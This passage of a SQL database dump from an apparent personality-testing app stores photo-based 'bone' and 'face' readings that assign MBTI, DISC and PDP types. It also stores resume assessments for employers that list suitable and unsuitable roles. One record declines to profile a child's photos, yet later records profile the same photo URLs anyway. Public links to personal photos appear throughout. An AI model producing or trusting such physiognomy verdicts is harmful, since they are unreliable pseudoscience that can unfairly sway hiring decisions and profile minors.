\"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨相端正不突兀,颧骨内敛,下颌线平稳,属稳健持久型格局,重视秩序与责任。\", \"faceAnalysis\": \"额头饱满顺直,眼神沉稳内敛,鼻梁端正,唇形收敛度好,整体五官均衡偏理性。\", \"personalitySummary\": \"性格冷静理智,重视逻辑与效率,决策前深思熟虑,做事有规划,克制感强,偏内向独立。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228478, 1773228478, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (131, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向活泼、好奇心强,反应灵敏,情绪丰富,有想象力与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg\"], \"boneAnalysis\": \"骨架圆润带柔,颧区平和、下巴饱满,气质偏亲和稳定,成长空间大。\", \"faceAnalysis\": \"额头圆阔、眼神灵动、面庞饱满,表情丰富,整体给人开朗活泼之感。\", \"personalitySummary\": \"性格外向有趣,情绪表达自然,喜欢与人互动,善于用直觉与想象应对新事物。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228716, 1773228716, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (132, 35, 'mbti', '{\"scores\": {\"E\": 3, \"F\": 2, \"I\": 5, \"J\": 4, \"N\": 1, \"P\": 3, \"S\": 6, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ISTJ\", \"timestamp\": \"2026-03-11T11:31:57.653Z\", \"confidence\": 70, \"completedAt\": \"2026-03-11T11:31:57.651Z\", \"description\": {\"name\": \"检查员\", \"type\": \"ISTJ\", \"careers\": [\"会计师\", \"审计师\", \"项目经理\"], \"category\": \"守护者\", \"strengths\": [\"可靠负责\", \"注重细节\", \"有条理\"], \"weaknesses\": [\"可能过于固执\", \"不喜变化\"], \"description\": \"务实、负责、可靠的传统主义者\"}, \"testDuration\": 234, \"dimensionScores\": {\"EI\": {\"E\": 3, \"I\": 5, \"dominant\": \"I\", \"percentage\": 63}, \"JP\": {\"J\": 4, \"P\": 3, \"dominant\": \"J\", \"percentage\": 57}, \"SN\": {\"N\": 1, \"S\": 6, \"dominant\": \"S\", \"percentage\": 86}, \"TF\": {\"F\": 2, \"T\": 6, \"dominant\": \"T\", \"percentage\": 75}}}', NULL, NULL, 0, 0, NULL, NULL, 1773228717, 1773228717, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (133, 33, 'face', '{\"pdp\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"无法判断\", \"title\": \"战略家\"}, \"overview\": \"照片中为一名儿童,表情自然放松,仅可确认有清晰人脸,无法据此进行可靠人格与职业测评推断。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg\"], \"boneAnalysis\": \"骨相发育尚在早期阶段,无法依据传统相术或现代模型给出稳定结论。\", \"faceAnalysis\": \"五官端正、表情活泼,仍处生长期,面部特征尚未定型,不宜据此推演性格命运。\", \"personalitySummary\": \"仅从照片无法科学推断其MBTI、PDP或DISC类型,任何人格判断都会失真且存在刻板风险。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228789, 1773228789, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (134, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼外向,好奇心强,情绪丰富,乐于表达与互动,适合在支持与鼓励环境中成长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"骨相柔和偏圆,额区饱满,下颌承托力适中,属以亲和力与适应力见长的发展型格局。\", \"faceAnalysis\": \"五官圆润有朝气,眼神灵动,表情多变,整体给人活泼、亲切且富有童真的感觉。\", \"personalitySummary\": \"天真外向,想象力丰富,表达欲强,乐于尝试新事物,善于在互动中获得能量与自信。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228837, 1773228837, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (135, 36, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实、安静专注,责任心强,重视长期稳定与稳健推进,适合深度专业与体系化管理工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg\"], \"boneAnalysis\": \"骨相偏土木形,骨肉均匀不突兀,颧鼻不张扬而有支撑力,下颌骨柔中带劲,属稳健持久、重实践型格局。\", \"faceAnalysis\": \"额头平阔饱满,眼神沉稳克制,鼻梁顺直略圆润,下巴略尖偏圆,整体给人理性内敛、踏实细腻之感。\", \"personalitySummary\": \"性格内敛寡言却有主见,做事循序渐进、计划性强,遇事冷静分析,偏好规则与秩序,重承诺、可信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229546, 1773229546, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (136, 37, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实稳重,思维缜密,抗压能力强,偏向长期规划与稳健推进型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg\"], \"boneAnalysis\": \"骨架偏厚实,面中庭力量感足,下颌骨承载力佳,属土形稳重格局,重视现实与长期积累。\", \"faceAnalysis\": \"额头较宽,眼神内敛专注,鼻翼扎实,嘴形收敛,下巴圆厚,整体给人稳健务实、重执行的印象。\", \"personalitySummary\": \"性格内敛理性,做事有计划有耐心,重视规则和责任,能在压力环境下持续输出稳定表现。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229714, 1773229714, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (137, 37, 'mbti', '{\"scores\": {\"E\": 1, \"F\": 8, \"I\": 7, \"J\": 7, \"N\": 3, \"P\": 0, \"S\": 4, \"T\": 0}, \"answers\": [], \"mbtiType\": \"ISFJ\", \"timestamp\": \"2026-03-11T11:50:52.619Z\", \"confidence\": 86, \"completedAt\": \"2026-03-11T11:50:52.619Z\", \"description\": {\"name\": \"保护者\", \"type\": \"ISFJ\", \"careers\": [\"护士\", \"教师\", \"行政\"], \"category\": \"守护者\", \"strengths\": [\"忠诚体贴\", \"观察力强\", \"耐心\"], \"weaknesses\": [\"不善拒绝\", \"过于谦虚\"], \"description\": \"安静、友好、负责任的守护者\"}, \"testDuration\": 128, \"dimensionScores\": {\"EI\": {\"E\": 1, \"I\": 7, \"dominant\": \"I\", \"percentage\": 88}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 3, \"S\": 4, \"dominant\": \"S\", \"percentage\": 57}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773229852, 1773229852, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (138, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理\", \"团队领导\", \"销售主管\", \"客户关系管理\"], \"notSuitable\": [\"高度技术专业深度研发岗位\", \"需要极端内向独立完成任务职位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"88%\"}, {\"label\": \"沟通适应性\", \"level\": \"高\", \"value\": \"85%\"}, {\"label\": \"抗压能力\", \"level\": \"高\", \"value\": \"90%\"}, {\"label\": \"组织执行力\", \"level\": \"高\", \"value\": \"87%\"}], \"headline\": \"具备双重领导力特质,能统筹规划与激励团队\"}, \"overview\": \"候选人性格表现出内敛与外向的明显分裂特征,行为模式体现理性与感性并存。生日与骨相显示其稳健、理性、富有抗压性,擅长有序规划与坚持原则;BUT 测评结果揭示其显著的社交互动能力和乐观自信,既有高效组织者特质,也极具表现力与亲和力。整体呈现出复合型领导者画像,兼具战略洞察与团队激励能力。\", \"portrait\": {\"coreRisks\": [\"性格层面存在内外反差,易造成自我认知混淆\", \"注意力可能易分散\", \"在快速变化环境中可能出现优柔寡断\"], \"workStyle\": \"偏好稳定有序环境,习惯通过周密计划和严谨执行达到目标,沟通时既能理性直截也能展现亲和力,团队中担任既能推动任务又能激励氛围的角色。\", \"coreStrengths\": [\"目标导向强\", \"理性冷静\", \"良好沟通与表达能力\", \"高抗压\", \"组织协调力强\", \"人际影响力显著\"]}, \"resumeHighlights\": \"MBTI识别为ESTJ,显示其作为果断的组织者和领导者;PDP和DISC均倾向表现型/影响型,凸显良好的社交影响力和团队调动能力。骨相与面部特征分析印证其内敛稳健的性格底色。其工作经历中的表现预计为理性、有序和高效。整体来看,候选人真实个性为‘理性+表现’,即内外兼修的复合型人才,既冷静决策又积极表达,适合担任中高级管理及客户导向岗位。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773279222, 1773279222, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (139, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维理性,细致专注,谋略与执行兼备,适合规划与决策类岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨重肉匀,五行木形,颧骨收敛,伏犀骨有力,格局中高,主理性与稳定。\", \"faceAnalysis\": \"额头饱满,眼神专注,鼻梁挺直,唇形清晰,下巴轮廓分明,五官协调。\", \"personalitySummary\": \"具备理性分析与系统思维,做事沉稳高效,决策重逻辑长远。人际间保持距离感,适合独立谋划或专业带队,能整合资源,兼具开拓与守成。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279937, 1773279937, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (140, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"具备思维理性、决策果断和全局统筹能力,攻坚执行兼具创新潜质。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"金形骨相,骨重肉薄,颧骨高耸将军骨坚挺,整体格局高,决断现实感强,抗压理性攻坚。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注,鼻梁直挺,唇形收放有度,下颌宽厚有力,耳廓适中贴头。\", \"personalitySummary\": \"刚健稳重兼具战略眼光,雷厉风行注重细节,理性分析为决策核心,具威信领导力,适配高挑战环境管理晋升路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279975, 1773279975, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (141, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性专注、条理清晰,擅长深度思考和独立决策,兼具敏锐洞察力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五行属木形,骨感明显,骨重肉薄,抗压稳健,主见强,谋略佳。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁高直,嘴唇紧收,下巴略尖,耳朵较贴头。\", \"personalitySummary\": \"善于逻辑推理与系统规划,追求精准,行事低调却有主见,决策理性。人际关系理性有度,沟通偏向事实与逻辑,适配复杂问题解决与知识型岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280023, 1773280023, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (142, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼开朗,表达力强,人际感知力高,适应变化能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面部骨肉平衡,五行偏木形,骨肉停匀,适应力强,抗压方式以柔性缓冲为主。\", \"faceAnalysis\": \"额头饱满,眼神灵动,鼻形端正,嘴唇饱满,下巴圆润,耳位正常。总体面相阳光自信,情绪丰富。\", \"personalitySummary\": \"性格外向,具创造力与好奇心,乐于表达,易与人建立良好关系。做事充满热情,喜欢尝试新鲜事物。团队合作时善于沟通,适应力与应变强。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280177, 1773280177, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (143, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"销售与商务拓展\", \"团队管理与激励(项目经理、销售主管、BD Leader等)\", \"客户关系管理与顾问服务\", \"活动策划、品牌公关\"], \"notSuitable\": [\"高重复性、独立性极强的后端执行类(如数据分析、流程型文职、会计专员)\", \"需要高度专注单一任务、个人深入逻辑钻研岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}], \"headline\": \"极具影响力的团队激励者与执行推动者,善于跨领域整合资源、激发团队潜能。\"}, \"overview\": \"该候选人具备高度外向、沟通力强和乐观积极的性格底色,兼具行动力与组织力,适应变化能力强,具有自然影响力。性格测试结果一致印证其人际驱动力和行动执行能力。综合性格测评、面相骨骼及工作特质,可判定其在组织激励、人际协调、项目落地与多任务场景中表现突出,适宜领导、销售、商务拓展、项目管理及创新团队核心角色。\", \"portrait\": {\"coreRisks\": [\"注意力分散易影响执行细节\", \"过度乐观导致风险评估不足\", \"对重复性、缺乏人际互动的任务动力不足\"], \"workStyle\": \"以目标为导向,善于自我激励,偏好开放性、多元协作的环境。能够高效组织团队,协调资源并推动项目进展。擅长快速建立关系并激发团队氛围,遇压力时更倾向寻求人际支持与化解矛盾而非正面硬抗。善于多线程并行处理事务,重视创新与挑战。\", \"coreStrengths\": [\"外向热情\", \"沟通能力强\", \"组织与执行力突出\", \"高度适应变化\", \"富有影响力及感染力\"]}, \"resumeHighlights\": \"性格测试高度一致,兼具外向表达(ENFP/孔雀/I型)与组织领导力(ESTJ/虎型/C型),天生具备沟通、影响、团队协调与快速适应变化等能力。易于驱动团队目标落实,善于调动氛围,执行与创新并重。易疏忽细节、风险评估需提升。职业发展建议加强专注力与系统思考能力,实现稳步突破。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773280251, 1773280251, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (144, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"富有活力与感染力,适应环境强,乐于表达创新思维。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面中骨肉均匀,偏木形,骨相开阔亲和,侧重柔性与弹性。\", \"faceAnalysis\": \"额头饱满,眼睛有神,鼻翼宽正,嘴型饱满有力,下颌圆润,耳贴头。\", \"personalitySummary\": \"性格热情开朗,情感丰富,富有创意表达,适应力强,善于社交融合团队,执行力佳。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773285873, 1773285873, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (145, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"开朗活泼,好奇心强,具备创造力和团队感染力,适应环境能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"木形,骨肉匀停,骨相灵秀,童年阶段潜质清晰,面部结构均衡。\", \"faceAnalysis\": \"额头宽阔饱满,眼神灵动,鼻子圆润,嘴唇适中,下巴圆厚,双耳对称。\", \"personalitySummary\": \"充满活力,思路开放,善于表达兴趣与情感,乐于与人互动,情绪自调能力佳,适合多元探索、团队合作及体验型成长环境。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773286899, 1773286899, 6, 'enterprise'); + +-- ---------------------------- +-- Table structure for mbti_upload_files +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_upload_files`; +CREATE TABLE `mbti_upload_files` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径', + `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL', + `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local', + `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5', + `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)', + `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型', + `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_upload_files +-- ---------------------------- +INSERT INTO `mbti_upload_files` VALUES (3, 'mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'https://res.quwanzhi.com/mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'oss', '37913551561757f3c26c515256c3fabb', 4567, 'image/jpeg', 'jpeg', 1770965712, 1770965712); +INSERT INTO `mbti_upload_files` VALUES (4, 'mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'oss', '581fe7ab377843cbe8c6edb5f426e120', 4570, 'image/jpeg', 'jpeg', 1770965854, 1770965854); +INSERT INTO `mbti_upload_files` VALUES (5, 'mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'oss', '9a463bb0a7fb80f0254b8a26e39fe410', 4570, 'image/jpeg', 'jpeg', 1770967112, 1770967112); +INSERT INTO `mbti_upload_files` VALUES (7, 'mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'oss', '97d8174a96a724338220c08ebe096068', 188330, 'image/jpeg', 'jpeg', 1771921770, 1771921770); +INSERT INTO `mbti_upload_files` VALUES (8, 'mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'oss', 'e7f99df4bcd33d69bdb5ea2613fdcb9b', 121623, 'image/jpeg', 'png', 1772074427, 1772074427); +INSERT INTO `mbti_upload_files` VALUES (9, 'mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'oss', '92e066d336c9a92c6a6485e15372daf6', 753777, 'image/jpeg', 'jpeg', 1772074427, 1772074427); +INSERT INTO `mbti_upload_files` VALUES (10, 'mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'oss', '5f0eaee6fc3c22e5980627581dfce816', 903689, 'image/jpeg', 'jpeg', 1772074428, 1772074428); +INSERT INTO `mbti_upload_files` VALUES (11, 'mbti/20260228/img_69a288c30b4767.42934501.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg', 'oss', '54303b0c7f5e1fefc0c9b9314303cc5c', 56628, 'image/jpeg', 'jpg', 1772259523, 1772259523); +INSERT INTO `mbti_upload_files` VALUES (12, 'mbti/20260228/img_69a288c316fc40.15562256.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg', 'oss', '83693f93117385e2074f0d41f3427c95', 30089, 'image/jpeg', 'jpg', 1772259523, 1772259523); +INSERT INTO `mbti_upload_files` VALUES (13, 'mbti/20260228/img_69a288c320ed11.93271163.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg', 'oss', 'c4797312a2322cea2a2d306c7a24dadd', 37709, 'image/jpeg', 'jpg', 1772259523, 1772259523); +INSERT INTO `mbti_upload_files` VALUES (14, 'mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'oss', '3be645054d5143c122856432c967b2c6', 123348, 'image/jpeg', 'jpg', 1772260126, 1772260126); +INSERT INTO `mbti_upload_files` VALUES (15, 'mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'oss', '89ec46c3d4c3cd47a19414754fcf3225', 133912, 'image/jpeg', 'jpg', 1772260126, 1772260126); +INSERT INTO `mbti_upload_files` VALUES (16, 'mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'oss', 'a5ae3d7785c5252fdf4ae8fa1b775b01', 134395, 'image/jpeg', 'jpg', 1772260126, 1772260126); +INSERT INTO `mbti_upload_files` VALUES (17, 'mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'oss', '27b45c4caed71ea0b16803d2c5bf72b4', 237939, 'image/jpeg', 'jpg', 1772263689, 1772263689); +INSERT INTO `mbti_upload_files` VALUES (18, 'mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'oss', '96c4b1821b37fab580fe5f45f57de1dc', 42807, 'image/jpeg', 'jpg', 1772273306, 1772273306); +INSERT INTO `mbti_upload_files` VALUES (19, 'mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'oss', '7d4fca2c35e83c61833e35be179e7113', 41834, 'image/jpeg', 'jpg', 1772273306, 1772273306); +INSERT INTO `mbti_upload_files` VALUES (20, 'mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'oss', '3fd2da6514e199297c86ca9f0fb5ce2c', 42092, 'image/jpeg', 'jpg', 1772273306, 1772273306); +INSERT INTO `mbti_upload_files` VALUES (21, 'mbti/20260302/img_69a5027b019460.49988894.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', 'oss', '2bc17026cd7f3f710b5de7748f8f9194', 560, 'image/png', 'png', 1772421755, 1772421755); +INSERT INTO `mbti_upload_files` VALUES (22, 'mbti/20260302/img_69a506f91a7166.23669621.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg', 'oss', 'af349074364fe14d5bc06ab2de1af1ab', 87871, 'image/jpeg', 'jpg', 1772422905, 1772422905); +INSERT INTO `mbti_upload_files` VALUES (23, 'mbti/20260302/img_69a506f91de049.43887143.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg', 'oss', 'e5d86eb62820f4021d0023a73e7676e5', 84501, 'image/jpeg', 'jpg', 1772422905, 1772422905); +INSERT INTO `mbti_upload_files` VALUES (24, 'mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'oss', '9bf66bf414cfa6749017c63720a76ec4', 79820, 'image/jpeg', 'jpg', 1772422905, 1772422905); 